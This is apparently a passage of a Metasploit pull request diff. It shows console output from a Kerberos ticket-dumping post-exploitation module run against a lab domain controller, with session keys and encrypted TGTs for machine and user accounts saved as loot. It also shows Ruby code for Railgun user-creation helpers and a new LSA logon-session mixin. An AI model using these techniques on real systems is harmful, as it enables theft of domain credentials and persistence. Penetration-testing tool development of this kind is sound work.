[*] LogonSession LUID: 0x0000ae320
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 08:38:08 -0400
|
||||||
|
[*] LogonSession LUID: 0x00000b7be
|
||||||
|
[*] User: Font Driver Host\UMFD-1
|
||||||
|
[*] Session: 1
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: Interactive (2)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:37 -0400
|
||||||
|
[*] LogonSession LUID: 0x00000b76e
|
||||||
|
[*] User: Font Driver Host\UMFD-0
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: Interactive (2)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:37 -0400
|
||||||
|
[*] LogonSession LUID: 0x0000104e9
|
||||||
|
[*] User: Window Manager\DWM-1
|
||||||
|
[*] Session: 1
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: Interactive (2)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:38 -0400
|
||||||
|
[*] LogonSession LUID: 0x00000b77b
|
||||||
|
[*] User: Font Driver Host\UMFD-1
|
||||||
|
[*] Session: 1
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: Interactive (2)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:37 -0400
|
||||||
|
[*] LogonSession LUID: 0x0000003e7
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: UndefinedLogonType (0)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:26 -0400
|
||||||
|
[*] Ticket[0]
|
||||||
|
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_341258.bin
|
||||||
|
Primary Principal: DC$@MSFLAB.LOCAL
|
||||||
|
Ccache version: 4
|
||||||
|
|
||||||
|
Creds: 1
|
||||||
|
Credential[0]:
|
||||||
|
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
|
||||||
|
Client: DC$@MSFLAB.LOCAL
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key: 810290bb8e930190000e05de7abee1f095bfe29527cca5ad9320cf3d86260f08
|
||||||
|
Subkey: false
|
||||||
|
Ticket Length: 1006
|
||||||
|
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
|
||||||
|
Addresses: 0
|
||||||
|
Authdatas: 0
|
||||||
|
Times:
|
||||||
|
Auth time: 1969-12-31 19:00:00 -0500
|
||||||
|
Start time: 2023-08-23 08:33:17 -0400
|
||||||
|
End time: 2023-08-23 18:33:17 -0400
|
||||||
|
Renew Till: 2023-08-30 08:33:17 -0400
|
||||||
|
Ticket:
|
||||||
|
Ticket Version Number: 5
|
||||||
|
Realm: MSFLAB.LOCAL
|
||||||
|
Server Name: krbtgt/MSFLAB.LOCAL
|
||||||
|
Encrypted Ticket Part:
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key Version Number: 2
|
||||||
|
Cipher:
|
||||||
|
tLtOsjj8akj/iTEx/Kgidt9rW9sZ48SgEANNEpLhR1SmtI3/0e9Lq6oh35XWTKACrkFJGEOqSeBAaHwhArH2YyskGPadY2lL1qJI0zjhipeAZu4gWD4vpf2sKSL/ksOo9sthfxVMEVfq0QSxR37mPZwYI1LOyMcCOeckLGdHdlQCO7WwnbDpToyTq7TYzn13XmX0nyRFBIN436camSwYO/xRsWkhpVQKQIRgAjl7xCBMLT8/YGYangAASjBIxiXbXOtlj9zBwBjfA36cXz2yUp7MjC2kZLYI//xZZG1VVOa9nAG8vkkyi7GrXitG/m2X5s7YOG7XyvDOoC5yS7Yti+P2jGvPiWjAOSDmlwLolHSjeSIYCKwxK5Dm/LyMtUVtJRAb702FdI7lSH8oZCxQBQs92j3PKTBIMzz2+eY4r74Nemh+zIH86M4llhELhhyz86V9Utox9iURueY32LVieRIaTXmWXCGyopENrTt+LHPShBAk+Q8P3y+SGwVGxmm/CVKFN2R7IZNFiBxw627Vhw2pjFfVDjfsRV9mAvF6Axhks2aSO5rXZNZY1xW9iEbkRI3wnVYR9zgeSILxMNjyiVZvGFSllYnRWpDOqSe4n0/xw/ytD8gAHBYveBxzMPvTHN76Kcs1MGmhpsMdMBUo2UT4eeqBP//rXnuBtneb5maz0Ak+VwDZOf8Q76gcp66FIOGlRWPxpRgaCz2ISHeJ+istqRBm8gGbfqfHAbZM2PTzyyDHROuf3LgVyfhNUt8r7eYAgDCsfKBq6bq7O/KcQaBOfQN5yAgnt6CuAjyIqFaaXlsbQZ2D5s1p4WYUjrEpywWIoTQWLbCSYSAjOz+eYv50MQ3oE43hRQtg5eT0PCVmyG30VDfZDISq3Yj0hDMu20nuVuZ2cVvzccEBNgn9SRnQyYRRZQb6w9Zgs1/VYiY2SLZjmbYAo54TNDVJyseJ3Egl3Xp8BNccUkxZomgUOwP58q7XQk8lDzi4ApJMVJ0M8THDySVBJX2sB7oNn924fzghqW+wfzsXVnI2O9aLxzYnygHyp3h7ypt83sXyMTLD4tqEZ0DvcOvCoNnvis7VN8ZvvhLADoOxpJPALc8n+q70rfCdukZQpICUhLc16Z+JZJkGdAZtmi1Um+Cwy7lmBA+IvRp+abyklx19ulv55CbU7K8NAftJUOof/MgmAre+pOmwLofZgaSu7wVQ65fBeb8bjA==
|
||||||
|
[*] Ticket[1]
|
||||||
|
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_389858.bin
|
||||||
|
Primary Principal: DC$@MSFLAB.LOCAL
|
||||||
|
Ccache version: 4
|
||||||
|
|
||||||
|
Creds: 1
|
||||||
|
Credential[0]:
|
||||||
|
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
|
||||||
|
Client: DC$@MSFLAB.LOCAL
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key: 810290bb8e930190000e05de7abee1f095bfe29527cca5ad9320cf3d86260f08
|
||||||
|
Subkey: false
|
||||||
|
Ticket Length: 1006
|
||||||
|
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
|
||||||
|
Addresses: 0
|
||||||
|
Authdatas: 0
|
||||||
|
Times:
|
||||||
|
Auth time: 1969-12-31 19:00:00 -0500
|
||||||
|
Start time: 2023-08-23 08:33:17 -0400
|
||||||
|
End time: 2023-08-23 18:33:17 -0400
|
||||||
|
Renew Till: 2023-08-30 08:33:17 -0400
|
||||||
|
Ticket:
|
||||||
|
Ticket Version Number: 5
|
||||||
|
Realm: MSFLAB.LOCAL
|
||||||
|
Server Name: krbtgt/MSFLAB.LOCAL
|
||||||
|
Encrypted Ticket Part:
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key Version Number: 2
|
||||||
|
Cipher:
|
||||||
|
tLtOsjj8akj/iTEx/Kgidt9rW9sZ48SgEANNEpLhR1SmtI3/0e9Lq6oh35XWTKACrkFJGEOqSeBAaHwhArH2YyskGPadY2lL1qJI0zjhipeAZu4gWD4vpf2sKSL/ksOo9sthfxVMEVfq0QSxR37mPZwYI1LOyMcCOeckLGdHdlQCO7WwnbDpToyTq7TYzn13XmX0nyRFBIN436camSwYO/xRsWkhpVQKQIRgAjl7xCBMLT8/YGYangAASjBIxiXbXOtlj9zBwBjfA36cXz2yUp7MjC2kZLYI//xZZG1VVOa9nAG8vkkyi7GrXitG/m2X5s7YOG7XyvDOoC5yS7Yti+P2jGvPiWjAOSDmlwLolHSjeSIYCKwxK5Dm/LyMtUVtJRAb702FdI7lSH8oZCxQBQs92j3PKTBIMzz2+eY4r74Nemh+zIH86M4llhELhhyz86V9Utox9iURueY32LVieRIaTXmWXCGyopENrTt+LHPShBAk+Q8P3y+SGwVGxmm/CVKFN2R7IZNFiBxw627Vhw2pjFfVDjfsRV9mAvF6Axhks2aSO5rXZNZY1xW9iEbkRI3wnVYR9zgeSILxMNjyiVZvGFSllYnRWpDOqSe4n0/xw/ytD8gAHBYveBxzMPvTHN76Kcs1MGmhpsMdMBUo2UT4eeqBP//rXnuBtneb5maz0Ak+VwDZOf8Q76gcp66FIOGlRWPxpRgaCz2ISHeJ+istqRBm8gGbfqfHAbZM2PTzyyDHROuf3LgVyfhNUt8r7eYAgDCsfKBq6bq7O/KcQaBOfQN5yAgnt6CuAjyIqFaaXlsbQZ2D5s1p4WYUjrEpywWIoTQWLbCSYSAjOz+eYv50MQ3oE43hRQtg5eT0PCVmyG30VDfZDISq3Yj0hDMu20nuVuZ2cVvzccEBNgn9SRnQyYRRZQb6w9Zgs1/VYiY2SLZjmbYAo54TNDVJyseJ3Egl3Xp8BNccUkxZomgUOwP58q7XQk8lDzi4ApJMVJ0M8THDySVBJX2sB7oNn924fzghqW+wfzsXVnI2O9aLxzYnygHyp3h7ypt83sXyMTLD4tqEZ0DvcOvCoNnvis7VN8ZvvhLADoOxpJPALc8n+q70rfCdukZQpICUhLc16Z+JZJkGdAZtmi1Um+Cwy7lmBA+IvRp+abyklx19ulv55CbU7K8NAftJUOof/MgmAre+pOmwLofZgaSu7wVQ65fBeb8bjA==
|
||||||
|
[*] LogonSession LUID: 0x0000003e4
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: Service (5)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:37 -0400
|
||||||
|
[*] Ticket[0]
|
||||||
|
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135507_default_192.168.159.10_mit.kerberos.cca_909298.bin
|
||||||
|
Primary Principal: DC$@MSFLAB.LOCAL
|
||||||
|
Ccache version: 4
|
||||||
|
|
||||||
|
Creds: 1
|
||||||
|
Credential[0]:
|
||||||
|
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
|
||||||
|
Client: DC$@MSFLAB.LOCAL
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key: b5c64f9aa85e1e31c9b17a28093bb39de235beeca53d844e10bbf4764cf7402e
|
||||||
|
Subkey: false
|
||||||
|
Ticket Length: 1006
|
||||||
|
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
|
||||||
|
Addresses: 0
|
||||||
|
Authdatas: 0
|
||||||
|
Times:
|
||||||
|
Auth time: 1969-12-31 19:00:00 -0500
|
||||||
|
Start time: 2023-08-23 09:32:46 -0400
|
||||||
|
End time: 2023-08-23 19:32:46 -0400
|
||||||
|
Renew Till: 2023-08-30 09:32:46 -0400
|
||||||
|
Ticket:
|
||||||
|
Ticket Version Number: 5
|
||||||
|
Realm: MSFLAB.LOCAL
|
||||||
|
Server Name: krbtgt/MSFLAB.LOCAL
|
||||||
|
Encrypted Ticket Part:
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key Version Number: 2
|
||||||
|
Cipher:
|
||||||
|
a5YMKhDbytSNzz+IqsxyXBURXqaCyVIpWDHu4E1wh0Q9MIVTXn163vkGYUz0X4LuxanqMXwttX8PdYI2V/Lxx6JcPzB50Jt0q4ffw0hsE/swVYEuRI8PyZl13DxE0wlGoaps9GC4l3xZM4nbqiAkPFneJQzrYgXcBWZ6ZlxJlQyGx7hOJLcsdU2KkqNOH8kRZrL/wkKNVKfHkDIkNPSkmYdSweZzuVce7v+yeNBOJpvK4odoE8ldWR6fhOGh5uSj5Fe2G+6ZG1IZREvnxMsqWQ/Ms3Os+1ZLZfH9l6sVi59MHufw98wxMFrKOBrceP0LkThwT29WXO3K3oCojYrSwLznMRKbKnUITRqzKT45a1wB/F556f4ova1GhUAmmlF7SxkGRlDuzh6c8zuKr91gaMQnzd1R95QSDl5xMP4HvWtz0N4bryhez8VbLlnUIFPdrhXtpOpp8Gp8cvEedwnmEmS7AUZyag8ohP40EgvtTXy8No8wuw0/imgIIhmRWlOvsTzUbRpoFMsNHS9h0+s6QhOyQdffMwqGea5c7inLpzJ2LofERlCvNrXVJpJ/+rkPGJasHzcnB216cFnSYuOUYzwIl9nSg1FY5jeOOOj5bcKptUuJonwldq/KJRKWq9io2bEJwOVwteBfRbz+E2KKShjWWMxS0sYhKLG1ZOUZtdLcUfwrwajexlJxM1aV48Y5yvDz7WWdxCOhNRmrjx2qmnOmbCNLgigJByqtcsUmeftfEZte5bdIWGECXOGFLsOdaLtUbW1mRPxDxHRuwTkcB4huzbtUk31pkljGDXp6LXUFOJD/IpJ3PNR6Xcf7jQ60QIkj99wT8xUHcNgJE/I9p8p5Y5EhgsY0KQOMu/OrFD0ah/VXoAl6vOS7INZXRrdVUFchBNKnRBX8aFBnIJ9pNjn1eLdGOrlpcd6HwCz9pCh9yJVs5kjxJWhOoyhOWWtNv/aghw0xPrvMTOTk8YRqe29hihpvHyMXJTKGTDvp6rkehWIC8G5/7XPcaeSuX6yKGUA6o6QaeTBLeiOHDH45AcapY12doQpxf7COrt31+U5xH6BxWwosp+I+axdf9cV63Z4lt2BToP5RZJvTIHe2gpn2trIuo40xkEQEMLKyvsI1frRG9hecUJzSXWXvTIkAwim54SY3rVcs6I6KUulNPyvXw2XVFCGSEb8XLfpl8zc3+gv7MB9Yv6T74M4rcF0guo62vQ==
|
||||||
|
[*] Ticket[1]
|
||||||
|
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135508_default_192.168.159.10_mit.kerberos.cca_938606.bin
|
||||||
|
Primary Principal: DC$@MSFLAB.LOCAL
|
||||||
|
Ccache version: 4
|
||||||
|
|
||||||
|
Creds: 1
|
||||||
|
Credential[0]:
|
||||||
|
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
|
||||||
|
Client: DC$@MSFLAB.LOCAL
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key: b5c64f9aa85e1e31c9b17a28093bb39de235beeca53d844e10bbf4764cf7402e
|
||||||
|
Subkey: false
|
||||||
|
Ticket Length: 1006
|
||||||
|
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
|
||||||
|
Addresses: 0
|
||||||
|
Authdatas: 0
|
||||||
|
Times:
|
||||||
|
Auth time: 1969-12-31 19:00:00 -0500
|
||||||
|
Start time: 2023-08-23 09:32:46 -0400
|
||||||
|
End time: 2023-08-23 19:32:46 -0400
|
||||||
|
Renew Till: 2023-08-30 09:32:46 -0400
|
||||||
|
Ticket:
|
||||||
|
Ticket Version Number: 5
|
||||||
|
Realm: MSFLAB.LOCAL
|
||||||
|
Server Name: krbtgt/MSFLAB.LOCAL
|
||||||
|
Encrypted Ticket Part:
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key Version Number: 2
|
||||||
|
Cipher:
|
||||||
|
a5YMKhDbytSNzz+IqsxyXBURXqaCyVIpWDHu4E1wh0Q9MIVTXn163vkGYUz0X4LuxanqMXwttX8PdYI2V/Lxx6JcPzB50Jt0q4ffw0hsE/swVYEuRI8PyZl13DxE0wlGoaps9GC4l3xZM4nbqiAkPFneJQzrYgXcBWZ6ZlxJlQyGx7hOJLcsdU2KkqNOH8kRZrL/wkKNVKfHkDIkNPSkmYdSweZzuVce7v+yeNBOJpvK4odoE8ldWR6fhOGh5uSj5Fe2G+6ZG1IZREvnxMsqWQ/Ms3Os+1ZLZfH9l6sVi59MHufw98wxMFrKOBrceP0LkThwT29WXO3K3oCojYrSwLznMRKbKnUITRqzKT45a1wB/F556f4ova1GhUAmmlF7SxkGRlDuzh6c8zuKr91gaMQnzd1R95QSDl5xMP4HvWtz0N4bryhez8VbLlnUIFPdrhXtpOpp8Gp8cvEedwnmEmS7AUZyag8ohP40EgvtTXy8No8wuw0/imgIIhmRWlOvsTzUbRpoFMsNHS9h0+s6QhOyQdffMwqGea5c7inLpzJ2LofERlCvNrXVJpJ/+rkPGJasHzcnB216cFnSYuOUYzwIl9nSg1FY5jeOOOj5bcKptUuJonwldq/KJRKWq9io2bEJwOVwteBfRbz+E2KKShjWWMxS0sYhKLG1ZOUZtdLcUfwrwajexlJxM1aV48Y5yvDz7WWdxCOhNRmrjx2qmnOmbCNLgigJByqtcsUmeftfEZte5bdIWGECXOGFLsOdaLtUbW1mRPxDxHRuwTkcB4huzbtUk31pkljGDXp6LXUFOJD/IpJ3PNR6Xcf7jQ60QIkj99wT8xUHcNgJE/I9p8p5Y5EhgsY0KQOMu/OrFD0ah/VXoAl6vOS7INZXRrdVUFchBNKnRBX8aFBnIJ9pNjn1eLdGOrlpcd6HwCz9pCh9yJVs5kjxJWhOoyhOWWtNv/aghw0xPrvMTOTk8YRqe29hihpvHyMXJTKGTDvp6rkehWIC8G5/7XPcaeSuX6yKGUA6o6QaeTBLeiOHDH45AcapY12doQpxf7COrt31+U5xH6BxWwosp+I+axdf9cV63Z4lt2BToP5RZJvTIHe2gpn2trIuo40xkEQEMLKyvsI1frRG9hecUJzSXWXvTIkAwim54SY3rVcs6I6KUulNPyvXw2XVFCGSEb8XLfpl8zc3+gv7MB9Yv6T74M4rcF0guo62vQ==
|
||||||
|
[*] LogonSession LUID: 0x00004ff91
|
||||||
|
[*] User: MSFLAB\smcintyre
|
||||||
|
[*] Session: 1
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Interactive (2)
|
||||||
|
[*] LogonTime: 2023-08-23 08:33:18 -0400
|
||||||
|
[*] Ticket[0]
|
||||||
|
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135509_default_192.168.159.10_mit.kerberos.cca_783228.bin
|
||||||
|
Primary Principal: smcintyre@MSFLAB.LOCAL
|
||||||
|
Ccache version: 4
|
||||||
|
|
||||||
|
Creds: 1
|
||||||
|
Credential[0]:
|
||||||
|
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
|
||||||
|
Client: smcintyre@MSFLAB.LOCAL
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key: 074bf82534302378dd8d8f911ddab2afbf64b32e8093e4fdd833e683e427c361
|
||||||
|
Subkey: false
|
||||||
|
Ticket Length: 1052
|
||||||
|
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
|
||||||
|
Addresses: 0
|
||||||
|
Authdatas: 0
|
||||||
|
Times:
|
||||||
|
Auth time: 1969-12-31 19:00:00 -0500
|
||||||
|
Start time: 2023-08-23 08:33:18 -0400
|
||||||
|
End time: 2023-08-23 18:33:18 -0400
|
||||||
|
Renew Till: 2023-08-30 08:33:18 -0400
|
||||||
|
Ticket:
|
||||||
|
Ticket Version Number: 5
|
||||||
|
Realm: MSFLAB.LOCAL
|
||||||
|
Server Name: krbtgt/MSFLAB.LOCAL
|
||||||
|
Encrypted Ticket Part:
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key Version Number: 2
|
||||||
|
Cipher:
|
||||||
|
oRWAAGpgwUBqsOzC3Xq8U5cNzsuFjB0ZLIgml5HqoGPgRwMtaDs9YIPNGudWsIvu+zl1aAIY6bkw3ltzW4/Ay2IuqQXKAMVnaWhTLWMNYViyPX4lUw5vrOvR6fpshI3tx46aqXNO5hnHPmNg+zAP9nKwXNG4hj3WtdCM3NMaLGShnQhvt9RnN/rEHuOQGn9Uo+3fEO01juPq9PBMJ/HGhe6dLXWFaXUc7OscSTQ5LUTlz+ABdbz2G0wCleEJPJYsQEo0tC1XDcZRcTsMkgbrAxp3H3zQGubEmX3h36Fo2H6ftYT0NsjnU1z/keylopjV6v0aRADUnqfJs+DgevOBDF0Ccy8IRsDdDVlnxr4tK7QwOvFUuIWKEPsLM2eLesNC7yJWnkDyHiFns+PNaz1PSIoD+euNRHFqW+7cPJXro3r84UcEiukKbWrMbrkg/YSQcEr9yGikNuoWSzgYCtbMsSLBRO7JasRcSNL+p4Dc3+E5r2nWRoR9bZTQM4YM72/kzoaXXnXXuPVx2krpohGMNJIHXoQ6drqCNwYcdT/tGMoCY+BLe29/PAtywGK3Hiq3HhbDnQ8t1g63b7CTssT0edrKR72Bv/YveDn3XQ1iKNM4mot+UxGVjrStJTQ6eEp1r3ZTibSvVTn3T5E1Z3ljSyHYhIa8bGlh2Ysk2St3ZEv3emDwDXvPIGovbzkqE7NYQgPlh36siynCV2SUKj1bApWA7erk7fVTyM/swH7OFa+ekZ+J88F02fanFtvrxGOhKOBfYL50UAas5o+32cqgIrPlip6JXe3BZ2fpr71mcZo4YYzUxopFYbox3FdH95HdQVG7PNg93e3+2XvnrkWEc2md+UhYacKvMMBrXzGAz1d+ea/V3Yt2EgZc1WWAWoKVCfw6RUeTQVs2pWjq7j2APjhzjAEa4s543xgmT0jIHZnfkGzTwjM5f5mhj1KeFkff98pEQX+QjjBFnaRDnIkBmzRmAyJNzxjwAhiW/RNxYNYG3UOnpmxxV443vN3wr3e+MFvBG9azFlq36iWs+2jGNUuFTdH6RECf7/tNun+DE622vI1hIaBJLAHMHzdSIt9kLTQ+OzECGjH0QNRHHibwLhyR36UHShr/ei4/PO87kKw+ZVpb0rHNcICaT80MhCIGWLlH5SErAKQe/vOkDgqeLW+keCbZfW8F7QBXc6C9kUpzUQuIII7KvLKskbgwhqPhoVV70x9vFXWG1xSFwzPJdQmDRBanyQ0xoQFhmt2MO6lMRXTpheAAL+uBJOpgYWX5GBA=
|
||||||
|
[*] LogonSession LUID: 0x00004d345
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 08:33:18 -0400
|
||||||
|
[*] LogonSession LUID: 0x00004bfb9
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 08:33:17 -0400
|
||||||
|
[*] Post module execution completed
|
||||||
|
msf6 post(windows/manage/kerberos_tickets) > klist
|
||||||
|
Kerberos Cache
|
||||||
|
==============
|
||||||
|
id host principal sname issued status path
|
||||||
|
-- ---- --------- ----- ------ ------ ----
|
||||||
|
398 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135453_default_192.168.159.10_mit.kerberos.cca_948767.bin
|
||||||
|
399 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135459_default_192.168.159.10_mit.kerberos.cca_126280.bin
|
||||||
|
400 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_341258.bin
|
||||||
|
401 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_389858.bin
|
||||||
|
404 192.168.159.10 smcintyre@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:18 -0400 active /home/smcintyre/.msf4/loot/20230823135509_default_192.168.159.10_mit.kerberos.cca_783228.bin
|
||||||
|
402 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823135507_default_192.168.159.10_mit.kerberos.cca_909298.bin
|
||||||
|
403 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823135508_default_192.168.159.10_mit.kerberos.cca_938606.bin
|
||||||
|
|
||||||
|
msf6 post(windows/manage/kerberos_tickets) >
|
||||||
|
```
|
|
@ -475,10 +475,7 @@ module Msf
|
||||||
0x0
|
0x0
|
||||||
].pack(client.arch == ARCH_X86 ? 'VVVVVVVV' : 'QQVVQQVQ')
|
].pack(client.arch == ARCH_X86 ? 'VVVVVVVV' : 'QQVVQQVQ')
|
||||||
result = client.railgun.netapi32.NetUserAdd(server_name, 1, user_info, 4)
|
result = client.railgun.netapi32.NetUserAdd(server_name, 1, user_info, 4)
|
||||||
client.railgun.multi([
|
session.railgun.util.free_data(addr_username, addr_password)
|
||||||
['kernel32', 'VirtualFree', [addr_username, 0, MEM_RELEASE]], # addr_username
|
|
||||||
['kernel32', 'VirtualFree', [addr_password, 0, MEM_RELEASE]], # addr_password
|
|
||||||
])
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -505,9 +502,7 @@ module Msf
|
||||||
0x0 # lgrpi1_comment
|
0x0 # lgrpi1_comment
|
||||||
].pack(client.arch == ARCH_X86 ? 'VV' : 'QQ')
|
].pack(client.arch == ARCH_X86 ? 'VV' : 'QQ')
|
||||||
result = client.railgun.netapi32.NetLocalGroupAdd(server_name, 1, localgroup_info, 4)
|
result = client.railgun.netapi32.NetLocalGroupAdd(server_name, 1, localgroup_info, 4)
|
||||||
client.railgun.multi([
|
session.railgun.util.free_data(addr_group)
|
||||||
['kernel32', 'VirtualFree', [addr_group, 0, MEM_RELEASE]], # addr_group
|
|
||||||
])
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -533,9 +528,7 @@ module Msf
|
||||||
0x0
|
0x0
|
||||||
].pack(client.arch == ARCH_X86 ? 'VV' : 'QQ')
|
].pack(client.arch == ARCH_X86 ? 'VV' : 'QQ')
|
||||||
result = client.railgun.netapi32.NetGroupAdd(server_name, 1, group_info_1, 4)
|
result = client.railgun.netapi32.NetGroupAdd(server_name, 1, group_info_1, 4)
|
||||||
client.railgun.multi([
|
session.railgun.util.free_data(addr_group)
|
||||||
['kernel32', 'VirtualFree', [addr_group, 0, MEM_RELEASE]], # addr_group
|
|
||||||
])
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -561,9 +554,7 @@ module Msf
|
||||||
addr_username,
|
addr_username,
|
||||||
].pack(client.arch == ARCH_X86 ? 'V' : 'Q')
|
].pack(client.arch == ARCH_X86 ? 'V' : 'Q')
|
||||||
result = client.railgun.netapi32.NetLocalGroupAddMembers(server_name, localgroup, 3, localgroup_members, 1)
|
result = client.railgun.netapi32.NetLocalGroupAddMembers(server_name, localgroup, 3, localgroup_members, 1)
|
||||||
client.railgun.multi([
|
session.railgun.util.free_data(addr_username)
|
||||||
['kernel32', 'VirtualFree', [addr_username, 0, MEM_RELEASE]],
|
|
||||||
])
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,518 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/proto/ms_dtyp'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Post
|
||||||
|
module Windows
|
||||||
|
module Lsa
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Compat' => {
|
||||||
|
'Meterpreter' => {
|
||||||
|
'Commands' => %w[
|
||||||
|
stdapi_railgun_api
|
||||||
|
stdapi_railgun_memread
|
||||||
|
stdapi_railgun_memwrite
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# [UNICODE_STRING structure (subauth.h)](https://learn.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string)
|
||||||
|
class UNICODE_STRING_x64 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
uint16 :len
|
||||||
|
uint16 :maximum_len
|
||||||
|
uint64 :buffer, byte_align: 8
|
||||||
|
end
|
||||||
|
|
||||||
|
# [UNICODE_STRING structure (subauth.h)](https://learn.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string)
|
||||||
|
class UNICODE_STRING_x86 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
uint16 :len
|
||||||
|
uint16 :maximum_len
|
||||||
|
uint32 :buffer, byte_align: 4
|
||||||
|
end
|
||||||
|
|
||||||
|
# [LSA_LAST_INTER_LOGON_INFO structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-lsa_last_inter_logon_info)
|
||||||
|
class LSA_LAST_INTER_LOGON_INFO < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
large_integer :last_successful_logon
|
||||||
|
large_integer :last_failed_logon
|
||||||
|
uint32 :failed_attempt_count_since_last_successful_logon
|
||||||
|
end
|
||||||
|
|
||||||
|
# [LSA_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_string)
|
||||||
|
